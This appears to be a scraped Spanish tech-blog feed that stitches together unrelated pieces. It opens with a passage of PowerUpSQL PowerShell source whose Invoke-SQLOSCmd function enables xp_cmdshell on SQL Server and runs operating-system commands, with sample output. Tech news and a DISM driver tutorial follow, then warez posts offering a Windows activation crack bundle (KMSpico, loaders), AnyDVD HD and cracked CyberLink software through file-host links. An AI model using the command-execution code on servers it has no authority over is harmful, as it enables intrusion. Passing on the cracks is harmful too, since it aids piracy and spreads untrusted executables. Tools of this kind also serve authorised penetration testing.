            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors.  Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent host threads.
            .PARAMETER Query
            Query to be executed on the SQL Server.
            .EXAMPLE
            PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLQueryThreaded -Verbose -Query "Select @@version" -Threads 15
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipeline,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $true,
        HelpMessage = 'Query to be executed.')]
        [String]$Query,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors.  Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # set instance to local host by default
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Ensure provided instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
        }

        # Add instance to instance list
        $PipelineItems = $PipelineItems + $ProvideInstance
    }

    Process
    {
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_
    }

    End
    {
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance

            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Setup SQL query
                $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)

                # Grab results
                $Results = $Command.ExecuteReader()

                # Load results into data table
                $TblResults.Load($Results)

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed

                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose  " Error: $ErrorMessage"
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
            }
        }

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue

        return $TblResults
    }
}

#endregion

#########################################################################
#
#region          COMMON FUNCTIONS
#
#########################################################################

# ----------------------------------
#  Invoke-SQLOSCmd
# ----------------------------------
# Author: Scott Sutherland
Function  Invoke-SQLOSCmd
{
    <#
            .SYNOPSIS
            Execute command on the operating system as the SQL Server service account using xp_cmdshell. Supports threading, raw output, and table output.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors.  Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .PARAMETER Command
            Operating command to be executed on the SQL Server.
            .PARAMETER RawResults
            Just show the raw results without the computer or instance name.
            .EXAMPLE
            PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "dir c:\windows\system32\drivers\etc\" -RawResults
            VERBOSE: Creating runspace pool and session states
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : You are a sysadmin.
            VERBOSE: SQLServer1 : Show Advanced Options is disabled.
            VERBOSE: SQLServer1 : Enabled Show Advanced Options.
            VERBOSE: SQLServer1 : xp_cmdshell is disabled.
            VERBOSE: SQLServer1 : Enabled xp_cmdshell.
            VERBOSE: SQLServer1 : Running command: dir c:\windows\system32\drivers\etc\
            VERBOSE: SQLServer1 : Disabling xp_cmdshell
            VERBOSE: SQLServer1 : Disabling Show Advanced Options
            Volume in drive C is OSDisk
            Volume Serial Number is C044-F8BC

            VERBOSE: Closing the runspace pool
            output
            ------

            Directory of c:\windows\system32\drivers\etc

            06/22/2016  09:09 AM    <DIR>          .
            06/22/2016  09:09 AM    <DIR>          ..
            09/22/2015  10:16 AM              851 hosts
            08/22/2013  10:35 AM            3,683 lmhosts.sam
            08/22/2013  08:25 AM              407 networks
            08/22/2013  08:25 AM            1,358 protocol
            08/22/2013  08:25 AM            17,463 services
            5 File(s)        23,762 bytes
            2 Dir(s)  56,438,497,280 bytes free
            .EXAMPLE
            PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLSERVER1.domain.com,1433" -Command "whoami"
            Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "whoami"
            VERBOSE: Creating runspace pool and session states
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : You are a sysadmin.
            VERBOSE: SQLServer1 : Show Advanced Options is disabled.
            VERBOSE: SQLServer1 : Enabled Show Advanced Options.
            VERBOSE: SQLServer1 : xp_cmdshell is disabled.
            VERBOSE: SQLServer1 : Enabled xp_cmdshell.
            VERBOSE: SQLServer1 : Running command: whoami
            VERBOSE: SQLServer1 : Disabling xp_cmdshell
            VERBOSE: SQLServer1 : Disabling Show Advanced Options
            VERBOSE: Closing the runspace pool

            ComputerName  Instance      CommandResults
            ------------  --------      --------------
            SQLServer1    SQLServer1    nt service\mssqlserver
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 5
            Get-SQLInstanceLocal | Invoke-SQLOSCmd -Verbose -Command "whoami"
            VERBOSE: Creating runspace pool and session states
            VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
            VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
            VERBOSE: SQLServer1\SQLEXPRESS : You are a sysadmin.
            VERBOSE: SQLServer1\SQLEXPRESS : Show Advanced Options is already enabled.
            VERBOSE: SQLServer1\SQLEXPRESS : xp_cmdshell is already enabled.
            VERBOSE: SQLServer1\SQLEXPRESS : Running command: whoami
            VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
            VERBOSE: SQLServer1\STANDARDDEV2014 : You are a sysadmin.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Show Advanced Options is already enabled.
            VERBOSE: SQLServer1\STANDARDDEV2014 : xp_cmdshell is already enabled.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Running command: whoami
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : You are a sysadmin.
            VERBOSE: SQLServer1 : Show Advanced Options is disabled.
            VERBOSE: SQLServer1 : Enabled Show Advanced Options.
            VERBOSE: SQLServer1 : xp_cmdshell is disabled.
            VERBOSE: SQLServer1 : Enabled xp_cmdshell.
            VERBOSE: SQLServer1 : Running command: whoami
            VERBOSE: SQLServer1 : Disabling xp_cmdshell
            VERBOSE: SQLServer1 : Disabling Show Advanced Options
            VERBOSE: Closing the runspace pool

            ComputerName  Instance                      CommandResults
            ------------  --------                      --------------
            SQLServer1    SQLServer1\SQLEXPRESS          nt service\mssql$sqlexpress
            SQLServer1    SQLServer1\STANDARDDEV2014    nt authority\system
            SQLServer1    SQLServer1                    nt service\mssqlserver

    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipeline,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $true,
        HelpMessage = 'OS command to be executed.')]
        [String]$Command,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors.  Used when function is wrapped.')]
        [switch]$SuppressVerbose,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Just show the raw results without the computer or instance name.')]
        [switch]$RawResults
    )

    Begin
    {
        # Setup data table for output
        $TblCommands = New-Object -TypeName System.Data.DataTable
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('CommandResults')


        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # set instance to local host by default
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Ensure provided instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
        }

        # Add instance to instance list
        $PipelineItems = $PipelineItems + $ProvideInstance
    }

    Process
    {
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_
    }

    End
    {
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance

            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Default connection to local default instance
            if(-not $Instance)
            {
                $Instance = $env:COMPUTERNAME
            }

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Switch to track xp_cmdshell status
                $DisableShowAdvancedOptions = 0
                $DisableXpCmdshell = 0

                # Get sysadmin status
                $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin

                # Check if xp_cmdshell is enabled
                if($IsSysadmin -eq 'Yes')
                {
                    Write-Verbose -Message "$Instance : You are a sysadmin."
                    $IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
                    $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
                }
                else
                {
                    Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges."

                    # Add record
                    $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.')
                    return
                }

                # Enable show advanced options if needed
                if ($IsShowAdvancedEnabled -eq 1)
                {
                    Write-Verbose -Message "$Instance : Show Advanced Options is already enabled."
                }
                else
                {
                    Write-Verbose -Message "$Instance : Show Advanced Options is disabled."
                    $DisableShowAdvancedOptions = 1

                    # Try to enable Show Advanced Options
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

                    # Check if configuration change worked
                    $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value

                    if ($IsShowAdvancedEnabled2 -eq 1)
                    {
                        Write-Verbose -Message "$Instance : Enabled Show Advanced Options."
                    }
                    else
                    {
                        Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting."

                        # Add record
                        $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.')
                        return
                    }
                }

                # Enable xp_cmdshell if needed
                if ($IsXpCmdshellEnabled -eq 1)
                {
                    Write-Verbose -Message "$Instance : xp_cmdshell is already enabled."
                }
                else
                {
                    Write-Verbose -Message "$Instance : xp_cmdshell is disabled."
                    $DisableXpCmdshell = 1

                    # Try to enable xp_cmdshell
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

                    # Check if configuration change worked
                    $IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value

                    if ($IsXpCmdshellEnabled2 -eq 1)
                    {
                        Write-Verbose -Message "$Instance : Enabled xp_cmdshell."
                    }
                    else
                    {
                        Write-Verbose -Message "$Instance : Enabling xp_cmdshell failed. Aborting."

                        # Add record
                        $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable xp_cmdshell.')

                        return
                    }
                }

                # Setup OS command
                Write-Verbose -Message "$Instance : Running command: $Command"
                #$Query = "EXEC master..xp_cmdshell '$Command' WITH RESULT SETS ((output VARCHAR(MAX)))"
                $Query = "EXEC master..xp_cmdshell '$Command'"

                # Execute OS command
                $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property output -ExpandProperty output

                # Display results or add to final results table
                if($RawResults)
                {
                    $CmdResults
                }
                else
                {
                    $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults)
                }

                # Restore xp_cmdshell state if needed
                if($DisableXpCmdshell -eq 1)
                {
                    Write-Verbose -Message "$Instance : Disabling xp_cmdshell"
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
                }

                # Restore Show Advanced Options state if needed
                if($DisableShowAdvancedOptions -eq 1)
                {
                    Write-Verbose -Message "$Instance : Disabling Show Advanced Options"
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
                }

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed

                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose  " Error: $ErrorMessage"
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
            }
        }

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue

        return $TblResults
    }
}




mega.nz - [Code] PowerUpSQL v1.0.0.34

Cómo copiar y restaurar drivers en Windows 10

$
0
0
Aunque Windows 10 instala por defecto la gran mayoría de controladores genéricos, una de las tareas más costosas cuando instalamos o restablecemos el sistema operativo es el tener que reinstalar todos los drivers.

Hoy voy a hablaros de una herramienta para símbolo de sistema llamada Dism (Deployment Image Servicing and Management), que nos va ayudar mediante comando a copiar y restaurar los drivers de nuestro equipo.

1.Abrimos una ventana de Símbolo de sistema tecleando cmd con Botón derecho y Ejecutar como administrador.

2.Para hacer una copia de los drivers tecleamos: dism /online /export-driver /destination:D:\CopiaDrivers.

El programa cogerá automáticamente todos los drivers de C:/Windows/System32/DriverStore y los guardará en la carpeta de destino que previamente tenemos que tener creada para que no de error.

Para restaurar la copia de seguridad de los controladores o drivers tecleamos: dism /online /Add-Driver /Driver:D:\CopiaDrivers /Recurse.

Aceptas o te quedas sin WhatsApp a partir de hoy

$
0
0
El pasado 25 de agosto veíamos cómo WhatsApp anunciaba un importante cambio en sus Términos de Servicio y la Política de Privacidad con los que la aplicación de mensajería compartiría con la red social Facebook el número de teléfono con el que estamos registrados en WhatsApp. A partir de ese momento, los usuarios comenzaban a ver cómo se mostraba una pantalla al entrar en la aplicación que se informaba de dichos cambios y en la que podían decidir si aceptaban compartir sus datos o no.

Para ello, WhatsApp ofrecía un plazo de 30 días, siendo una incertidumbre lo que podría ocurrir a partir de ese momento si no habías aceptado que la aplicación de mensajería pudiera compartir nuestro número de teléfono con la red social. El plazo acaba de terminar, tal y como avisábamos el pasado viernes, y ahora parece que la aplicación de mensajería ya no deja elegir

Según hemos podido ver, algunos usuarios que el pasado mes de agosto decidieron no aceptar las nuevas condiciones, estarían recibiendo una nueva notificación por parte de WhatsApp en la que nuevamente informan de que la aplicación está actualizando los Términos de Servicio y su Política de Privacidad en la que indican que deberás aceptarlos si quieres continuar usando WhatsApp.

Además, añade que en el caso de no aceptar las nuevas condiciones, no podremos seguir usando la famosa aplicación.

Para cerrar la notificación no ofrece más opción que la de Aceptar los términos. Por lo tanto, esa opción que parecía que podía dar a elegir a los usuarios si dejar compartir nuestro número de teléfono con Facebook, tal y como ocurría el mes pasado, no ha sido más que una ilusión.

Aquellos que eligieron la opción de Ahora no en la notificación que recibieron el mes pasado, hoy están volviendo a recibir una nueva ventana que avisa con el cambio y que ya no deja elegir, mostrando únicamente el botón de Aceptar y avisando a los usuarios que en el caso de no aceptar los cambios en los Términos de uso y la Política de seguridad, no podrán continuar usando WhatsApp.

Parece que la posición dominante de la aplicación de mensajería propiedad de Facebook, la ha llevado a tomar esta decisión que obliga a todos los que quieran seguir usando WhatsApp, aceptar sus nuevos términos. Veremos si esto provoca que la mayoría de usuarios cedan y dejar compartir sus datos con Facebook o si buscan una alternativa entre todas las aplicaciones de mensajería rivales de WhatsApp.


Fuente:
Roberto Adeva
adslzone.net

Hacks Para Mejorar Tu Dispositivo Octubre 2016

$
0
0
La revista Hacks para mejorar tu dispositivo (Android Magazine) , muestra trucos , herramienstas y aplicaciones para sacarle el maximo provecho a tu dispositivo con sistema operativo android




Descargar

Google lanza “Allo” Aplicación de mensajería que pondrá en problemas a Facebook

$
0
0
Hay una nueva aplicación de mensajería, y vale la pena descargarla.

Mientras Facebook ha estado trabajando para integrar bots en Messenger, Google se adelantó y creó una aplicación de mensajería que integra su enorme motor de búsqueda.

Allo, que fue anunciada en mayo, está ahora disponible para su descarga, y cuenta con toda la diversión a la que los usuarios se han acostumbrado en otras aplicaciones: hay chats en grupo, stickers y la opción de dejar mensajes que caducan.

La único importante que falta es la capacidad de hacer llamadas de video y audio, pero fue intencional. Google quiere que para ello uses su aplicación de videollamadas Duo, que fue lanzada en agosto. (Amantes de Hangouts, no se preocupen, la aplicación permanecerá, aunque Google está orientando el servicio hacia un uso profesional).

Tanto Allo como Duo están disponibles para Android y iOS.

Estas son algunas de sus características:

Una aplicación de mensajería “inteligente”

Allo puede sugerirte respuestas durante una conversación, que aparecen en burbujas de texto que puedes enviar tocándolas. Las recomendaciones pueden ahorrar tiempo a los usuarios, pero son muy básicas y pueden resultar impersonales.

Durante una charla de prueba, Allo sugirió “¡Muy bien!” a un mensaje que decía: “¿Cómo estás?”. Con el tiempo, Allo sabrá si prefieres escribir “jaja” o “lol”, así que cuando más uses la función de predicción, mejor llegará a imitar tu estilo.

Una de las mejores características de Allo es el uso del motor de búsqueda de Google. Para ello, hay que mencionar a Google escribiendo “@Google” y lo que se quiera buscar. Así, Google puede sugerirte lugares para comer durante una conversación, por ejemplo. Es una gran manera de hacer planes con otras personas sin tener que cambiar entre aplicaciones ni enviar capturas de pantalla de los resultados de búsqueda.

También puedes iniciar un chat independiente con el asistente de Google. Funciona igual que Google, pero se siente más como una conversación y menos como una interacción búsqueda-resultado.

Puedes configurar los mensajes en modo superprivado

Todos los mensajes enviados a través de Allo están codificados por los servidores de Google, pero utilizando el chat en modo incógnito los resguardas a nivel de dispositivo.

Eso significa que solo el remitente y el destinatario pueden leer los mensajes. Cualquiera que intente interceptarlos solo verá un revoltijo de figuras.

Además, cada usuario puede restablecer el tiempo de expiración de cualquiera de los mensajes.

Puedes garabatear

Al igual que Snapchat, Allo te permite dibujar en las fotos antes de enviarlas a tus amigos.También hay una gran selección de stickers que se pueden descargar.

Puedes ‘gritar’

Al igual que la aplicación iMessage de Apple, actualizada en el iOS 10, Allo te permitirá enviar mensajes que demuestren mayor intensidad.

Al mantener el dedo sobre el botón de enviar en la aplicación, puedes elegir el tamaño de la fuente para que puedas ‘gritar’. Es una alternativa al uso de mayúsculas.

Android Magazine Nº 48 Agosto – Septiembre 2016 - 5G El Futuro Se Acerca

$
0
0

Android Magazine es la revista con toda la actualidad sobre Android: apps, juegos, tutoriales, trucos y reviews de los nuevos smartphones y tablets del mercado

Todo aquello que un usuario Android pueda necesitar para exprimir su teléfono móvil o tablet, y mucho más. La actualidad, reportajes y tutoriales prácticos, análisis y comparativas de los últimos dispositivos aparecidos en el marcado, las mejores apps y juegos… Para todos los niveles.


Descargar

Computer Hoy Nº 469 23 Sep 2016 - 100 Soluciones Tecnologicas

$
0
0


Computer Hoy es tu revista,cada número de la revista incluye completísimos tests y artículos prácticos de los últimos productos de hardware, software, Internet, imagen, sonido, juegos e incluso telefonía móvil. Nuestros artículos prácticos te ayudarán, con sencillos pasos explicados en un lenguaje muy accesible, a realizar todo tipo de tareas con tu PC. Si eres un principiante, le perderás el miedo a tu ordenador y si ya tienes soltura con él, aprenderás a hacer mucho más. Sea cual sea tu nivel de conocimientos.


Descargar

AnyDVD HD v8.0.2.0 Full español DVD/Blu-ray

$
0
0


Descripción de AnyDVD HD v8.0.2.0

¿Cansado de no tener el control absoluto cuando insertas algún CD de películas en tu ordenador? Hoy te ofrecemos la solución a tu problema y te brindamos AnyDVD HD el cual te dará acceso total al control de tus DVD. AnyDVD HD es lo último en software de esta generación, que te permitirá eliminar cualquier restricción impuesta en tus DVD y Blue-Ray en background. Este novedoso software te permitirá desactivar cualquier código de región RPC, haciendo que la región de la película se libere y la película sea visible confortablemente en cualquier reproductor DVD/Blu-ray y con cualquier software de reproducción de DVD/Blu-ray. También es capaz de desactivar cualquier función no deseada, como subtítulos forzados o marcas de no saltar, para que puedas disfrutar de tus DVD de la manera en la que tú prefieras. No esperes más, descarga AnyDVD HD por nuestra plataforma y vive esta nueva experiencia desde tu hogar.







Requisitos de AnyDVD HD v8.0.2.0

Un PC compatible con Windows con un Procesador mínimo 2 GHz y 1 GB de memoria RAM
Windows XP/XP64/VISTA/VISTA64/Win7/Win7-64/Win8/Win8-64/Win10/Win10-64
Parar HD desencriptado y ripping, el sistema operativo mínimo es Windows XP SP3.
Para decriptado / ripping de HD el mínimo Sistema Operativo es Windows 2000 (último SP).Como programa reproductor del PC usualmente requiere Windows XP SP2 como Sistema Operativo mínimo.



Zippyshare.com - AnyDVD HD v8.0.2.0.rar

All Activation Windows 7-8-10 v9.0 DC 14.09.2016

$
0
0


All Activation Windows 7-8-10 v9.0 DC 14.09.2016 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 345,18 MB ]

Descripción:

Todos los métodos de activación en la mano después de la prueba "antipiratería" actualización KB971033 DG de victorias y suave que ofrece una colección completa de programas y maneras de activar Windows. Todos los métodos y programas verificados personalmente por nosotros muchas veces y con seguridad podemos recomendar a usted.
NOTA: Todos los programas se deben ejecutar como administrador!

Capturas:


Características:

Lista de los programas:

Re-Activador del cargador 3.0 Beta 2 (nuevo)
Herramientas KMS 12/08/2016
KMSAuto Lite 1.2.8 (Nuevo)
KMSAuto Net 2015 1.4.6
KMSmicro WO W7 v1.0.1
KMSpico 10.2.0 final
SuperMini_KMS
Aact v1.8 (Nuevo)
remover WAT
De Windows 7 Loader eXtremev3.503
Re-Loader 2.6 Activador final
Microsoft Toolkit 2.6.1
1.3.7 ODIN por secr9tos
GUI MBR SLIC cargador de 0,621 v1.2
cargador de Windows v2.2
WindSLIC en UEFI-SLIC-inyector
SLIC 2.1 BINS
Preguntas frecuentes sobre la creación de una inserción
SLIC_ToolKit_V3.2
Los programas para una inserción
Dumping del período de prueba (rearme)
la activación de tres componentes

Idioma: Ingles
Compreso con Winrar

All Activation Windows 7-8-10 v9.0 DC 14.09.2016 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | 345,18 MB ]




**Uploaded:

http://ul.to/uoa6770n

**Bigfile:

https://www.bigfile.to/file/kXQvgkrTDM3x

**Faststore:

http://faststore.org/su90qgnr15j8

**Rockfile:

http://rockfile.eu/t1w0khwmq1ja.html


Deja Un Comentario - Comentar es Alentar

CyberLink AudioDirector Ultra v7.0.6822.0

$
0
0


CyberLink AudioDirector Ultra v7.0.6822.0 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 239.33 MB ]

Descripción:

Audio es la mitad de la experiencia de la película, y mejorar el audio en proyectos de vídeo mejora notablemente el resultado final. AudioDirector contiene herramientas de última generación que conforman la edición y la fijación de las pistas de audio rápido y sencillo. Con las características de audio de extremo a extremo y una perfecta integración con PowerDirector, AudioDirector es una aplicación imprescindible para los fabricantes de vídeo extremas.

Capturas:


Características:

Editar archivos de audio o la pista de audio de un archivo de vídeo importado.
descargar clips de sonido desde DirectorZone
Restaurar de audio mediante la aplicación de la Haga clic en el Levantamiento, Reducción de ruido, o funciones del clip de restauración, o el uso de Visual reparación para la fijación más precisa
Aplicar una serie de efectos a archivos de audio, incluyendo retrasos, reverberación, compresión de rango dinámico, la eliminación vocal, y mucho más
audio personalizado registro usando un micrófono u otro dispositivo de entrada, directamente en la línea de tiempo de audio
Importación y aplicar personalizada VST efectos a sus archivos de audio plug-in
mezclar hasta 100 pistas de audio en un archivo de audio personalizado
Compartir archivos de audio creado en DirectorZone.

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

CyberLink AudioDirector Ultra v7.0.6822.0 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 239.33 MB ]




**Uploaded:

http://ul.to/0jvko7nn

**Bigfile:

https://www.bigfile.to/file/mSZXUUFbtwnq

**Faststore:

http://faststore.org/a7k0wo6a9cg5

**Rockfile:

http://rockfile.eu/2fm0pdx62bnl.html


Deja Un Comentario - Comentar es Alentar

CyberLink PhotoDirector Ultra v8.0.2031.0

$
0
0


CyberLink PhotoDirector Ultra v8.0.2031.0 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 394.88 MB ]

Descripción:

PhotoDirector 7 ofrece una mezcla extrema de características que va mucho más allá de lo que normalmente se esperaría encontrar en software de fotografía. Simplificados herramientas de gestión de fotos se combinan con opciones de ajuste y edición de todo sofisticadas poderosamente fáciles de usar que ofrecen una, la edición completa de extremo a extremo con fotografía y una solución de gestión.

Capturas:


Características:

Capas
Global y Herramientas de ajuste regionales
Efectos creativos con herramientas fáciles de usar
Más de 100 perfiles de lentes compatibles
Última Cámara de formato y soporte de la lente
Herramientas cuerpo y la cara de embellecimiento
Características cara de embellecimiento
Panorama
Herramientas fáciles de usar para imágenes perfectas

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

CyberLink PhotoDirector Ultra v8.0.2031.0 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 394.88 MB ]




**Uploaded:

http://ul.to/lo94c9mi

**Bigfile:

https://www.bigfile.to/file/Rt7VCgWVemxp

**Faststore:

http://faststore.org/0zjjiq8en647

**Rockfile:

http://rockfile.eu/1oilvd43r8bp.html


